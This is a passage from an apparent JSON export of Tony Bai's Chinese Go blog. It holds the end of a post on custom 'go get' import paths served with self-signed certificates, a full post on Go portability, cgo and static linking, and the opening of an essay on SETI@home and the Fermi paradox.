Fetching https://tonybai.com/gowechat?go-get=1 https fetch failed: Get https://tonybai.com/gowechat?go-get=1: x509: certificate signed by unknown authority package tonybai.com/gowechat: unrecognized import path \u0026quot;tonybai.com/gowechat\u0026quot; (https fetch: Get https://tonybai.com/gowechat?go-get=1: x509: certificate signed by unknown authority) 虽然我已经关掉了git的http.sslVerify，但go get的执行过程还是检查了server端证书是未知CA签署的并报错，原来这块的verify是go get自己做的。关于httpskey和证书(.crt)的相关知识，我在《Go和HTTPS》一文中已经做过说明，不是很熟悉的童鞋可以移步那篇文章。\n我们来创建CA、创建server端的key（cert.key），并用创建的CA来签署server.crt：\n$ openssl genrsa -out rootCA.key 2048 $ openssl req -x509 -new -nodes -key rootCA.key -subj \u0026quot;/CN=*.tonybai.com\u0026quot; -days 5000 -out rootCA.pem $ openssl genrsa -out cert.key 2048 $ openssl req -new -key cert.key -subj \u0026quot;/CN=tonybai.com\u0026quot; -out cert.csr $ openssl x509 -req -in cert.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out cert.crt -days 5000 # ls cert.crt cert.csr cert.key rootCA.key rootCA.pem rootCA.srl 我们将cert.crt和cert.key拷贝到ubuntu的/etc/nginx目录下，重启nginx，让其加载新的cert.crt和cert.key。然后将rootCA.pem拷贝到/etc/ssl/cert目录下，这个目录是ubuntu下存放CA公钥证书的标准路径。在测试go get前，我们先用curl测试一下：\n# curl https://tonybai.com/gowechat \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta http-equiv=\u0026quot;Content-Type\u0026quot; content=\u0026quot;text/html; charset=utf-8\u0026quot;/\u0026gt; \u0026lt;meta name=\u0026quot;go-import\u0026quot; content=\u0026quot;tonybai.com/gowechat git https://github.com/bigwhite/gowechat\u0026quot;\u0026gt; \u0026lt;meta name=\u0026quot;go-source\u0026quot; content=\u0026quot;tonybai.com/gowechat \u0026quot;\u0026gt; \u0026lt;meta http-equiv=\u0026quot;refresh\u0026quot; content=\u0026quot;0; url=https://godoc.org/tonybai.com/gowechat\u0026quot;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; Nothing to see here; \u0026lt;a href=\u0026quot;https://godoc.org/tonybai.com/gowechat\u0026quot;\u0026gt;see the package on godoc\u0026lt;/a\u0026gt;. \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; curl测试通过！\n我们再来看看go get：\n# go get tonybai.com/gowechat package tonybai.com/gowechat: unrecognized import path \u0026quot;tonybai.com/gowechat\u0026quot; (https fetch: Get https://tonybai.com/gowechat?go-get=1: x509: certificate signed by unknown authority) 问题依旧！难道go get无法从/etc/ssl/cert中选取适当的ca证书来做server端的cert.crt的验证么？就着这个问题我在go官方发现了一个类似的issue: #18519 。从中得知，go get仅仅会在不同平台下参考以下几个certificate files：\n$GOROOT/src/crypto/x509/root_linux.go package x509 // Possible certificate files; stop after finding one. var certFiles = []string{ \u0026quot;/etc/ssl/certs/ca-certificates.crt\u0026quot;, // Debian/Ubuntu/Gentoo etc. \u0026quot;/etc/pki/tls/certs/ca-bundle.crt\u0026quot;, // Fedora/RHEL 6 \u0026quot;/etc/ssl/ca-bundle.pem\u0026quot;, // OpenSUSE \u0026quot;/etc/pki/tls/cacert.pem\u0026quot;, // OpenELEC \u0026quot;/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem\u0026quot;, // CentOS/RHEL 7 } 在ubuntu上，/etc/ssl/certs/ca-certificates.crt是其参考的数字证书。因此要想go get成功，我们需要将我们rootCA.pem加入到/etc/ssl/certs/ca-certificates.crt中去，最简单的方法就是：\n$ cat rootCA.pem \u0026gt;\u0026gt; /etc/ssl/certs/ca-certificates.crt 当然，ubuntu也提供了管理根证书的命令update-ca-certificates，可以看其manual学学如何更新/etc/ssl/certs/ca-certificates.crt，这里就不赘述了。\n更新后，我们再来go get：\n# go get -v tonybai.com/gowechat Fetching https://tonybai.com/gowechat?go-get=1 Parsing meta tags from https://tonybai.com/gowechat?go-get=1 (status code 200) get \u0026quot;tonybai.com/gowechat\u0026quot;: found meta tag main.metaImport{Prefix:\u0026quot;tonybai.com/gowechat\u0026quot;, VCS:\u0026quot;git\u0026quot;, RepoRoot:\u0026quot;https://github.com/bigwhite/gowechat\u0026quot;} at https://tonybai.com/gowechat?go-get=1 tonybai.com/gowechat (download) package tonybai.com/gowechat: no buildable Go source files in /root/go/src/tonybai.com/gowechat go get成功！\n三、小结 使用govanityurls可以十分方便的为你的go package定制go get的导入路径； 一般使用nginx等反向代理放置在govanityurls前端，便于同域名下其他服务的开展； go get默认采用https访问，自签署的ca和server端的证书问题要处理好。如果有条件的话，还是用用letsencrypt等提供的免费证书吧。 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/06/28/set-custom-go-get-import-path-for-go-package/","summary":"\u003cp\u003e近期Go team的组员\u003ca href=\"https://rakyll.org/\"\u003eJaana B. Dogan\u003c/a\u003e，网名：\u003ca href=\"https://github.com/rakyll/\"\u003erakyll\u003c/a\u003e开源了一个小工具：\u003ca href=\"https://github.com/GoogleCloudPlatform/govanityurls\"\u003eGo Vanity URLs\u003c/a\u003e。这个小工具可以帮助你快速为你的\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e package定制Go get的导入路径（同样也是package被使用时的import路径）。\u003c/p\u003e","title":"定制Go Package的Go Get导入路径"},{"content":"Go有很多优点，比如：简单、原生支持并发等，而不错的可移植性也是Go被广大程序员接纳的重要因素之一。但你知道为什么Go语言拥有很好的平台可移植性吗？本着“知其然，亦要知其所以然”的精神，本文我们就来探究一下Go良好可移植性背后的原理。\n一、Go的可移植性 说到一门编程语言可移植性，我们一般从下面两个方面考量：\n语言自身被移植到不同平台的容易程度； 通过这种语言编译出来的应用程序对平台的适应性。 在Go 1.7及以后版本中，我们可以通过下面命令查看Go支持OS和平台列表：\n$go tool dist list android/386 android/amd64 android/arm android/arm64 darwin/386 darwin/amd64 darwin/arm darwin/arm64 dragonfly/amd64 freebsd/386 freebsd/amd64 freebsd/arm linux/386 linux/amd64 linux/arm linux/arm64 linux/mips linux/mips64 linux/mips64le linux/mipsle linux/ppc64 linux/ppc64le linux/s390x nacl/386 nacl/amd64p32 nacl/arm netbsd/386 netbsd/amd64 netbsd/arm openbsd/386 openbsd/amd64 openbsd/arm plan9/386 plan9/amd64 plan9/arm solaris/amd64 windows/386 windows/amd64 从上述列表我们可以看出：从linux/arm64的嵌入式系统到linux/s390x的大型机系统，再到Windows、linux和darwin(mac)这样的主流操作系统、amd64、386这样的主流处理器体系，Go对各种平台和操作系统的支持不可谓不广泛。\nGo官方似乎没有给出明确的porting guide，关于将Go语言porting到其他平台上的内容更多是在golang-dev这样的小圈子中讨论的事情。但就Go语言这么短的时间就能很好的支持这么多平台来看，Go的porting还是相对easy的。从个人对Go的了解来看，这一定程度上得益于Go独立实现了runtime。\nruntime是支撑程序运行的基础。我们最熟悉的莫过于libc（C运行时），它是目前主流操作系统上应用最普遍的运行时，通常以动态链接库的形式(比如：/lib/x86_64-linux-gnu/libc.so.6)随着系统一并发布，它的功能大致有如下几个：\n提供基础库函数调用，比如：strncpy； 封装syscall（注:syscall是操作系统提供的API口，当用户层进行系统调用时，代码会trap(陷入)到内核层面执行），并提供同语言的库函数调用，比如：malloc、fread等； 提供程序启动入口函数，比如：linux下的__libc_start_main。 libc等c runtime lib是很早以前就已经实现的了，甚至有些老旧的libc还是单线程的。一些从事c/c++开发多年的程序员早年估计都有过这样的经历：那就是链接runtime库时甚至需要选择链接支持多线程的库还是只支持单线程的库。除此之外，c runtime的版本也参差不齐。这样的c runtime状况完全不能满足go语言自身的需求；另外Go的目标之一是原生支持并发，并使用goroutine模型，c runtime对此是无能为力的，因为c runtime本身是基于线程模型的。综合以上因素，Go自己实现了runtime，并封装了syscall，为不同平台上的go user level代码提供封装完成的、统一的go标准库；同时Go runtime实现了对goroutine模型的支持。\n独立实现的go runtime层将Go user-level code与OS syscall解耦，把Go porting到一个新平台时，将runtime与新平台的syscall对接即可(当然porting工作不仅仅只有这些)；同时，runtime层的实现基本摆脱了Go程序对libc的依赖，这样静态编译的Go程序具有很好的平台适应性。比如：一个compiled for linux amd64的Go程序可以很好的运行于不同linux发行版（centos、ubuntu）下。\n以下测试试验环境为:darwin amd64 Go 1.8。\n二、默认”静态链接”的Go程序 我们先来写两个程序：hello.c和hello.go，它们完成的功能都差不多，在stdout上输出一行文字：\n//hello.c #include \u0026lt;stdio.h\u0026gt; int main() { printf(\u0026quot;%s\\n\u0026quot;, \u0026quot;hello, portable c!\u0026quot;); return 0; } //hello.go package main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;hello, portable go!\u0026quot;) } 我们采用“默认”方式分别编译以下两个程序：\n$cc -o helloc hello.c $go build -o hellogo hello.go $ls -l -rwxr-xr-x 1 tony staff 8496 6 27 14:18 helloc* -rwxr-xr-x 1 tony staff 1628192 6 27 14:18 hellogo* 从编译后的两个文件helloc和hellogo的size上我们可以看到hellogo相比于helloc简直就是“巨人”般的存在，其size近helloc的200倍。略微学过一些Go的人都知道，这是因为hellogo中包含了必需的go runtime。我们通过otool工具(linux上可以用ldd)查看一下两个文件的对外部动态库的依赖情况：\n$otool -L helloc helloc: /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1197.1.1) $otool -L hellogo hellogo: 通过otool输出，我们可以看到hellogo并不依赖任何外部库，我们将hellog这个二进制文件copy到任何一个mac amd64的平台上，均可以运行起来。而helloc则依赖外部的动态库:/usr/lib/libSystem.B.dylib，而libSystem.B.dylib这个动态库还有其他依赖。我们通过nm工具可以查看到helloc具体是哪个函数符号需要由外部动态库提供：\n$nm helloc 0000000100000000 T __mh_execute_header 0000000100000f30 T _main U _printf U dyld_stub_binder 可以看到：_printf和dyld_stub_binder两个符号是未定义的(对应的前缀符号是U)。如果对hellog使用nm，你会看到大量符号输出，但没有未定义的符号。\n$nm hellogo 00000000010bb278 s $f64.3eb0000000000000 00000000010bb280 s $f64.3fd0000000000000 00000000010bb288 s $f64.3fe0000000000000 00000000010bb290 s $f64.3fee666666666666 00000000010bb298 s $f64.3ff0000000000000 00000000010bb2a0 s $f64.4014000000000000 00000000010bb2a8 s $f64.4024000000000000 00000000010bb2b0 s $f64.403a000000000000 00000000010bb2b8 s $f64.4059000000000000 00000000010bb2c0 s $f64.43e0000000000000 00000000010bb2c8 s $f64.8000000000000000 00000000010bb2d0 s $f64.bfe62e42fefa39ef 000000000110af40 b __cgo_init 000000000110af48 b __cgo_notify_runtime_init_done 000000000110af50 b __cgo_thread_start 000000000104d1e0 t __rt0_amd64_darwin 000000000104a0f0 t _callRet 000000000104b580 t _gosave 000000000104d200 T _main 00000000010bbb20 s _masks 000000000104d370 t _nanotime 000000000104b7a0 t _setg_gcc 00000000010bbc20 s _shifts 0000000001051840 t errors.(*errorString).Error 00000000010517a0 t errors.New .... ... 0000000001065160 t type..hash.time.Time 0000000001064f70 t type..hash.time.zone 00000000010650a0 t type..hash.time.zoneTrans 0000000001051860 t unicode/utf8.DecodeRuneInString 0000000001051a80 t unicode/utf8.EncodeRune 0000000001051bd0 t unicode/utf8.RuneCount 0000000001051d10 t unicode/utf8.RuneCountInString 0000000001107080 s unicode/utf8.acceptRanges 00000000011079e0 s unicode/utf8.first $nm hellogo|grep \u0026quot; U \u0026quot; Go将所有运行需要的函数代码都放到了hellogo中，这就是所谓的“静态链接”。是不是所有情况下，Go都不会依赖外部动态共享库呢？我们来看看下面这段代码：\n//server.go package main import ( \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;os\u0026quot; ) func main() { cwd, err := os.Getwd() if err != nil { log.Fatal(err) } srv := \u0026amp;http.Server{ Addr: \u0026quot;:8000\u0026quot;, // Normally \u0026quot;:443\u0026quot; Handler: http.FileServer(http.Dir(cwd)), } log.Fatal(srv.ListenAndServe()) } 我们利用Go标准库的net/http包写了一个fileserver，我们build一下该server，并查看它是否有外部依赖以及未定义的符号：\n$go build server.go -rwxr-xr-x 1 tony staff 5943828 6 27 14:47 server* $otool -L server server: /usr/lib/libSystem.B.dylib (compatibility version 0.0.0, current version 0.0.0) /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 0.0.0, current version 0.0.0) /System/Library/Frameworks/Security.framework/Versions/A/Security (compatibility version 0.0.0, current version 0.0.0) /usr/lib/libSystem.B.dylib (compatibility version 0.0.0, current version 0.0.0) /usr/lib/libSystem.B.dylib (compatibility version 0.0.0, current version 0.0.0) $nm server |grep \u0026quot; U \u0026quot; U _CFArrayGetCount U _CFArrayGetValueAtIndex U _CFDataAppendBytes U _CFDataCreateMutable U _CFDataGetBytePtr U _CFDataGetLength U _CFDictionaryGetValueIfPresent U _CFEqual U _CFNumberGetValue U _CFRelease U _CFStringCreateWithCString U _SecCertificateCopyNormalizedIssuerContent U _SecCertificateCopyNormalizedSubjectContent U _SecKeychainItemExport U _SecTrustCopyAnchorCertificates U _SecTrustSettingsCopyCertificates U _SecTrustSettingsCopyTrustSettings U ___error U ___stack_chk_fail U ___stack_chk_guard U ___stderrp U _abort U _fprintf U _fputc U _free U _freeaddrinfo U _fwrite U _gai_strerror U _getaddrinfo U _getnameinfo U _kCFAllocatorDefault U _malloc U _memcmp U _nanosleep U _pthread_attr_destroy U _pthread_attr_getstacksize U _pthread_attr_init U _pthread_cond_broadcast U _pthread_cond_wait U _pthread_create U _pthread_key_create U _pthread_key_delete U _pthread_mutex_lock U _pthread_mutex_unlock U _pthread_setspecific U _pthread_sigmask U _setenv U _strerror U _sysctlbyname U _unsetenv 通过otool和nm的输出结果我们惊讶的看到：默认采用“静态链接”的Go程序怎么也要依赖外部的动态链接库，并且也包含了许多“未定义”的符号了呢？问题在于cgo。\n三、cgo对可移植性的影响 默认情况下，Go的runtime环境变量CGO_ENABLED=1，即默认开始cgo，允许你在Go代码中调用C代码，Go的pre-compiled标准库的.a文件也是在这种情况下编译出来的。在$GOROOT/pkg/darwin_amd64中，我们遍历所有预编译好的标准库.a文件，并用nm输出每个.a的未定义符号，我们看到下面一些包是对外部有依赖的（动态链接）：\n=\u0026gt; crypto/x509.a U _CFArrayGetCount U _CFArrayGetValueAtIndex U _CFDataAppendBytes ... ... U _SecCertificateCopyNormalizedIssuerContent U _SecCertificateCopyNormalizedSubjectContent ... ... U ___stack_chk_fail U ___stack_chk_guard U __cgo_topofstack U _kCFAllocatorDefault U _memcmp U _sysctlbyname =\u0026gt; net.a U ___error U __cgo_topofstack U _free U _freeaddrinfo U _gai_strerror U _getaddrinfo U _getnameinfo U _malloc =\u0026gt; os/user.a U __cgo_topofstack U _free U _getgrgid_r U _getgrnam_r U _getgrouplist U _getpwnam_r U _getpwuid_r U _malloc U _realloc U _sysconf =\u0026gt; plugin.a U __cgo_topofstack U _dlerror U _dlopen U _dlsym U _free U _malloc U _realpath$DARWIN_EXTSN =\u0026gt; runtime/cgo.a ... ... U _abort U _fprintf U _fputc U _free U _fwrite U _malloc U _nanosleep U _pthread_attr_destroy U _pthread_attr_getstacksize ... ... U _setenv U _strerror U _unsetenv =\u0026gt; runtime/race.a U _OSSpinLockLock U _OSSpinLockUnlock U __NSGetArgv U __NSGetEnviron U __NSGetExecutablePath U ___error U ___fork U ___mmap U ___munmap U ___stack_chk_fail U ___stack_chk_guard U __dyld_get_image_header .... ... 我们以os/user为例，在CGO_ENABLED=1，即cgo开启的情况下，os/user包中的lookupUserxxx系列函数采用了c版本的实现，我们看到在$GOROOT/src/os/user/lookup_unix.go中的build tag中包含了**+build cgo**。这样一来，在CGO_ENABLED=1，该文件将被编译，该文件中的c版本实现的lookupUser将被使用：\n// +build darwin dragonfly freebsd !android,linux netbsd openbsd solaris // +build cgo package user ... ... func lookupUser(username string) (*User, error) { var pwd C.struct_passwd var result *C.struct_passwd nameC := C.CString(username) defer C.free(unsafe.Pointer(nameC)) ... ... } 这样来看，凡是依赖上述包的Go代码最终编译的可执行文件都是要有外部依赖的。不过我们依然可以通过disable CGO_ENABLED来编译出纯静态的Go程序：\n$CGO_ENABLED=0 go build -o server_cgo_disabled server.go $otool -L server_cgo_disabled server_cgo_disabled: $nm server_cgo_disabled |grep \u0026quot; U \u0026quot; 如果你使用build的 “-x -v”选项，你将看到go compiler会重新编译依赖的包的静态版本，包括net、mime/multipart、crypto/tls等，并将编译后的.a(以包为单位)放入临时编译器工作目录($WORK)下，然后再静态连接这些版本。\n四、internal linking和external linking 问题来了：在CGO_ENABLED=1这个默认值的情况下，是否可以实现纯静态连接呢？答案是可以。在$GOROOT/cmd/cgo/doc.go中，文档介绍了cmd/link的两种工作模式：internal linking和external linking。\n1、internal linking internal linking的大致意思是若用户代码中仅仅使用了net、os/user等几个标准库中的依赖cgo的包时，cmd/link默认使用internal linking，而无需启动外部external linker(如:gcc、clang等)，不过由于cmd/link功能有限，仅仅是将.o和pre-compiled的标准库的.a写到最终二进制文件中。因此如果标准库中是在CGO_ENABLED=1情况下编译的，那么编译出来的最终二进制文件依旧是动态链接的，即便在go build时传入-ldflags ‘extldflags “-static”‘亦无用，因为根本没有使用external linker：\n$go build -o server-fake-static-link -ldflags '-extldflags \u0026quot;-static\u0026quot;' server.go $otool -L server-fake-static-link server-fake-static-link: /usr/lib/libSystem.B.dylib (compatibility version 0.0.0, current version 0.0.0) /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 0.0.0, current version 0.0.0) /System/Library/Frameworks/Security.framework/Versions/A/Security (compatibility version 0.0.0, current version 0.0.0) /usr/lib/libSystem.B.dylib (compatibility version 0.0.0, current version 0.0.0) /usr/lib/libSystem.B.dylib (compatibility version 0.0.0, current version 0.0.0) 2、external linking 而external linking机制则是cmd/link将所有生成的.o都打到一个.o文件中，再将其交给外部的链接器，比如gcc或clang去做最终链接处理。如果此时，我们在cmd/link的参数中传入-ldflags ‘extldflags “-static”‘，那么gcc/clang将会去做静态链接，将.o中undefined的符号都替换为真正的代码。我们可以通过-linkmode=external来强制cmd/link采用external linker，还是以server.go的编译为例：\n$go build -o server-static-link -ldflags '-linkmode \u0026quot;external\u0026quot; -extldflags \u0026quot;-static\u0026quot;' server.go # command-line-arguments /Users/tony/.bin/go18/pkg/tool/darwin_amd64/link: running clang failed: exit status 1 ld: library not found for -lcrt0.o clang: error: linker command failed with exit code 1 (use -v to see invocation) 可以看到，cmd/link调用的clang尝试去静态连接libc的.a文件，但由于我的mac上仅仅有libc的dylib，而没有.a，因此静态连接失败。我找到一个ubuntu 16.04环境：重新执行上述构建命令：\n# go build -o server-static-link -ldflags '-linkmode \u0026quot;external\u0026quot; -extldflags \u0026quot;-static\u0026quot;' server.go # ldd server-static-link not a dynamic executable # nm server-static-link|grep \u0026quot; U \u0026quot; 该环境下libc.a和libpthread.a分别在下面两个位置：\n/usr/lib/x86_64-linux-gnu/libc.a /usr/lib/x86_64-linux-gnu/libpthread.a 就这样，我们在CGO_ENABLED=1的情况下，也编译构建出了一个纯静态链接的Go程序。\n如果你的代码中使用了C代码，并依赖cgo在go中调用这些c代码，那么cmd/link将会自动选择external linking的机制：\n//testcgo.go package main //#include \u0026lt;stdio.h\u0026gt; // void foo(char *s) { // printf(\u0026quot;%s\\n\u0026quot;, s); // } // void bar(void *p) { // int *q = (int*)p; // printf(\u0026quot;%d\\n\u0026quot;, *q); // } import \u0026quot;C\u0026quot; import ( \u0026quot;fmt\u0026quot; \u0026quot;unsafe\u0026quot; ) func main() { var s = \u0026quot;hello\u0026quot; C.foo(C.CString(s)) var i int = 5 C.bar(unsafe.Pointer(\u0026amp;i)) var i32 int32 = 7 var p *uint32 = (*uint32)(unsafe.Pointer(\u0026amp;i32)) fmt.Println(*p) } 编译testcgo.go：\n# go build -o testcgo-static-link -ldflags '-extldflags \u0026quot;-static\u0026quot;' testcgo.go # ldd testcgo-static-link not a dynamic executable vs. # go build -o testcgo testcgo.go # ldd ./testcgo linux-vdso.so.1 =\u0026gt; (0x00007ffe7fb8d000) libpthread.so.0 =\u0026gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fc361000000) libc.so.6 =\u0026gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc360c36000) /lib64/ld-linux-x86-64.so.2 (0x000055bd26d4d000) 五、小结 本文探讨了Go的可移植性以及哪些因素对Go编译出的程序的移植性有影响：\n你的程序用了哪些标准库包？如果仅仅是非net、os/user等的普通包，那么你的程序默认将是纯静态的，不依赖任何c lib等外部动态链接库； 如果使用了net这样的包含cgo代码的标准库包，那么CGO_ENABLED的值将影响你的程序编译后的属性：是静态的还是动态链接的； CGO_ENABLED=0的情况下，Go采用纯静态编译； 如果CGO_ENABLED=1，但依然要强制静态编译，需传递-linkmode=external给cmd/link。 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/06/27/an-intro-about-go-portability/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/go\"\u003eGo\u003c/a\u003e有很多优点，比如：\u003ca href=\"http://tonybai.com/2017/04/20/go-coding-in-go-way/\"\u003e简单\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2017/06/23/an-intro-about-goroutine-scheduler/\"\u003e原生支持并发\u003c/a\u003e等，而不错的\u003ca href=\"https://en.wikipedia.org/wiki/Software_portability\"\u003e可移植性\u003c/a\u003e也是Go被广大程序员接纳的重要因素之一。但你知道为什么Go语言拥有很好的平台可移植性吗？本着“知其然，亦要知其所以然”的精神，本文我们就来探究一下Go良好可移植性背后的原理。\u003c/p\u003e\n\u003ch2 id=\"一go的可移植性\"\u003e一、Go的可移植性\u003c/h2\u003e\n\u003cp\u003e说到一门编程语言可移植性，我们一般从下面两个方面考量：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e语言自身被移植到不同平台的容易程度；\u003c/li\u003e\n\u003cli\u003e通过这种语言编译出来的应用程序对平台的适应性。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在\u003ca href=\"http://tonybai.com/2016/06/21/some-changes-in-go-1-7/\"\u003eGo 1.7\u003c/a\u003e及以后版本中，我们可以通过下面命令查看Go支持OS和平台列表：\u003c/p\u003e","title":"也谈Go的可移植性"},{"content":"这周五午间休息时无意中看了36kr发布的一篇文章：《开电脑与外星人尬聊？搜寻地外文明项目SETI@home的极客简史》，这是一篇译文，原文发表在《大西洋月刊》，题为“A Brief History of SETI@Home”，文章科普了SETI@HOME这一项目的简史。\nSETI是“Search for Extraterrestrial Intelligence”，字面意思就是搜寻外星的智慧生命体。这个项目从技术本质上看就是一个超级庞大的分布式系统，它利用加入“志愿计算”计划的志愿者的PC上的空闲计算能力来分析射电望远镜观测到的信号，旨在从这些信号中过滤并识别出可能的外星生命发出的信号。SETI@home项目于1999年就启动了，不过令人感到尴尬的是至今这个项目仍然是一无所获：外星人的毛儿都没找到。虽然结果不如预期，但这不能否定这一项目的伟大。国内的地外文明爱好者、ET/alien爱好者们，如果你想贡献出自己的一份薄力，就去SETI@Home项目官网下载一个软件，加入到这个庞大的计算网络中吧。\n不过这里并不想和大家探讨SETI@Home的技术细节，而是要考量另外一个问题：外星人为什么还没降落到地球上？\n1、人类探索宇宙的历程简述 在探索地外生命的道路上，人类不可谓不努力，探索的时间也不可谓不长。从已知的、公认的人类探索宇宙的大事件资料中，我们知道：\n公元前500－400年，中国人就开始制作木鸟并试验原始飞行器； 起源于古代中国的风筝于约公园14世纪传到欧洲； 1903年12月14日至17日，由莱特兄弟设计制造的“飞行者”1号飞机，在人类航空史上首次实现了自主操纵飞行。从此人类进入航空新纪元； 1909年世界第一架轻型飞机在法国诞生; 1947年10月14日美国著名试飞员查尔斯·耶格尔驾驶X-1飞机实现了突破音障飞行; 1957年10月4日，前苏联发射世界第一颗人造地球卫星。半年后，美国的人造卫星上天；从此人类进入近地轨道探索的时代； 1969年7月20日22时56分20秒，美国宇航员阿姆斯特朗乘坐“阿波罗”11号飞船成功登陆月球，成为人类踏上月球的第一人，也是人类踏上地外星球的第一人，从此人类开启了太阳系内探索新时代； 1970年12月15日，前苏联“金星”7号探测器首次在金星上着陆； 1971年12月2日，前苏联“火星”3号探测器在火星表面着陆。5年后，美国的“海盗”火星探测器登陆火星；\n… … 人类在探索近地轨道和太阳系内行星的同时，不忘太阳系外的深层空间的探索。不过限于人类在技术方面的局限，人类文明仅仅能将少量信息带出太阳系。这其中尤为值得注目的是美国的先驱者系列和旅行者系列深空探测器的发射，它们分别携带了人类送给地外文明的“礼物”：\n两艘“先驱者号”各携带一张相同的镀金铝板(见上图)，长22.9厘米，宽15.2厘米，其上刻有一男一女的画像，那位男人正在招手致意。还有象征太阳系的信息，以及一些表示这艘星际飞船来历的符号。\n两艘“旅行者号”各携带一块相同的镀金唱片(见上图)和一枚金刚石唱针。唱片名为《地球之音》，直径有22.9厘米，上面录制了人类向外星文明发出的55种问候语（包括中国的现代标准汉语、闽南方言、粤语和\n吴语）、长达90分钟的27首各国著名乐曲（包括中国传统名曲《高山流水》等）录音，还有115幅地球上各种事物和情景的图片。这两张唱片可以在宇宙中保存10亿年之久。\n目前四个飞行器均已飞出了太阳系，成为茫茫宇宙中流浪的四位地球信使。\n除了发射探测器，人类还在不断加大投入，增强自己的观察能力- 建造“地球的眼睛”。\n1990年4月25日，美国航空航天局NASA使用航天飞机将哈勃太空望远镜送入预定轨道，从此人类将在近地轨道拥有了自己看宇宙的“眼睛”。由于没有大气湍流的干扰，它所获得的图像和光谱具有极高的稳定性和可重复性，其清晰度是地面天文望远镜的10倍以上。 哈勃望远镜\n2016年9月25日，位于中国贵州黔南州平塘县大窝凼的世界最大单口径射电望远镜——500米口径球面射电望远镜（FAST）全部竣工并投入使用。 FAST：世界最大单口径射电望远镜\n不过，虽然发射出去如此多的探测器，建造了如此先进的“千里眼”，尴尬的是人类文明到目前为止依然没有得到地外文明的任何蛛丝马迹。我们不禁再次发问：外星人究竟在哪？为何还没降落到地球？\n对于这样一个问题，从技术角度来说，人类肯定无法给出答案。但这并不影响我们去管窥到这个问题答案的一角，因为我们还有想象力和逻辑推理能力。\n2、关于“文明” “文明” ，对应的英文单词是civilization，英英释义是“the way people live together in a certain place at a certain time“，中文字面意思的理解就是一群人在一定的时间、在一定的地点生活在一起的方式，这是一个极具弹性的定义。时间、地点、人群数量的跨度都是可大可小、可长可短的。\n按照这个定义，我们可以简单粗暴地将文明分类为：局部文明（比如：中国文明、西方文明、玛雅文明等）、星球文明（比如：地球文明）、星系文明（比如：银河系文明）、宇宙文明….。之所以给出这个分类，是因为我们采用“以己为鉴、以史为镜”的方法来推测地外文明。\n谈到人类对宇宙中文明形态、行为的推测，我们不得不提到中国科幻大师刘慈欣在其巨著《三体》系列中提出的“宇宙社会学”的概念和大胆推测：\n基本公理： 一、生存是文明的第一需要。 二、文明不断增长和扩张，但宇宙中的物质总量保持不变。 猜疑链： 一个文明无法判断另一个文明对自己是善意或恶意的； 一个文明无法判断另一个文明认为自己是善意或恶意的； 一个文明无法判断另一个文明判断自己对她是善意或恶意的； 一个文明不能判断另一个文明是善文明还是恶文明； 一个文明不能判断另一个文明是否会对本文明发起攻击。 黑暗森林法则：宇宙就是一座黑暗森林，每个文明都是带枪的猎人，像幽灵般潜行与林间，轻轻拨开挡路的树枝，竭力不让脚步发出一点儿声音，连呼吸都必须小心翼翼......他必须小心，因为林中到处都有与他一样 潜行的猎人，如果他发现了别的生命，不管是不是猎人，不管是天使还是魔鬼，不管是娇嫩的婴儿还是步履蹒跚的老人，也不管是天仙般的少女还是天神般的男孩，能做的只有一件事：开枪消灭之？在 这片森林中，他人就是地狱，就是永恒的威胁，任何暴露自己存在的生命都将很快被消灭，这就是宇宙文明的图景，这就是对费米悖论的解释。 自己时常思考这样的一个问题，人类发展的终极目标是什么？从古代农耕布织、到18世纪的以蒸汽机器代替手工的第一次工业革命、从19世纪中后的以电气时代为特征的第二次工业革命、到20世纪的以核能、计算机为特征的第三次工业革命、再到近来开启的以互联网产业、人工智能为代表的“第四次工业革命”，人类都在追求生产力提升、生产效率的提升。当这种生产力提升到一个极大值之后，人类的下一个目标是什么呢？很多人会说，飞出地球，在其他星球建立殖民地，但这种行为背后的目的又是什么呢？地球文明的延伸？从根本上来说，这也是为了地球文明的存续，不管这是主动的（比如：为了商业目的的、政治和军事目的的）还是被动的（比如说：当地球环境将在未来一段时间后不再适合人类生存）。这基本符合大刘提到的基本公理第一条，但这不仅是第一需要，更是终极目标。\n在明确了自己文明的终极目标之后，在对外其他文明这个问题上，大刘给出了一个“黑暗”的推理 – 黑暗森林法则。关于这个法则，不得不说大刘的超一流的想象力，但同样是针对这一法则，争论也是存在的。”黑暗森林”法则的一个不可忽视的前提：“黑暗”。大刘直接给出设定：宇宙就是一座黑暗森林。这种设定本身就是“黑暗”的！难道文明存续的必须以毫无顾忌的消灭其他文明作为手段么？真的没有一个善良的文明么？真的不存在“光明森林”么？宇宙这么大，真不见得。如果人类拥有了毁灭一个星系的能力、并且观测到一个存在文明的行星，人类会毫不犹豫地直接将其毁灭吗？至少我们这个文明的大多数人不会赞同这么做。\n3、关于文明间的“交互” 如果我们抛弃“黑暗森林”这一设定，我们生活在一个“光明森林”的宇宙中，那么“文明”间又是如何“交互（我也不是很确定，使用交互这个词是否准确）”的呢？\n我们假设有两个独立发展的文明A和B，我们简单的为这两种文明定义了两种能力：观察能力和到达能力。在两个文明真正交互之前，文明的发展可能是这样的：\na) 文明独立进化 